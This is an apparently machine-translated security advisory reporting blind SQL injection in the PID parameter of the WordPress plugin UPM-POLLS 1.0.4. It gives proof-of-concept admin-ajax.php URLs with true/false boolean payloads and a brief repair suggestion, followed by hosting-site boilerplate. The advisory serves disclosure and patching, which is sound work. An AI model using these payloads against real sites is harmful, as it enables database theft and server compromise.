Wordpress plugin UPM-POLLS 1.0.4 blind note and repair

Source: Internet
Author: User

Previous Article: http://www.bkjia.com/Article/201108/99254.html

 

Title: blind SQL injection UPM-POLLS wordpress plugin 1.0.4

Author: Saif El-Sherei www.2cto.com

: Http://downloads.wordpress.org/plugin/upm-polls.1.0.4.zip

Affected Version: 1.0.4

Test Platform: wordpress 3.2.1, Firefox 4, XAMPP

 

Program Information:

 

Best Plugin to create Polls for your site. Everything is smoother, faster,

And seamless like WordPress itself.

 

Poll Manager,

Ability to set general and post/page specific polls,

Ability to leaf over the polls

Ability to add certain poll in certain post content

Ability to show polls either with and without current results

Polls

 

 

Diary:

 

The Variable PID is not properly sanitized in the get request before

Insertion into the database query; allowing an attaacker or any user who

Can view poll results (supposedly all user) to use blind SQL injection

Extract database data and possibly compromise the whole server. a POC is

Provided with both true and false results.

 

Test Example 1 (TRUE ):

 

Http://www.bkjia.com/wordpress/wp-admin/admin-ajax.php? Action = upm_ayax_polls_result & do = result & post = 1 & type = general & PID = 2and

1 = 1

 

"Poll results for poll 2 is displayed"

 

Test Example 2 (FALSE ):

 

Http://www.bkjia.com/wordpress/wp-admin/admin-ajax.php? Action = upm_ayax_polls_result & do = result & post = 1 & type = general & PID = 2and

1 = 2

 

"Blank page is displayed"

 

Www.2cto.com provides the repair solution:

 

Filter parameter input on this page

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.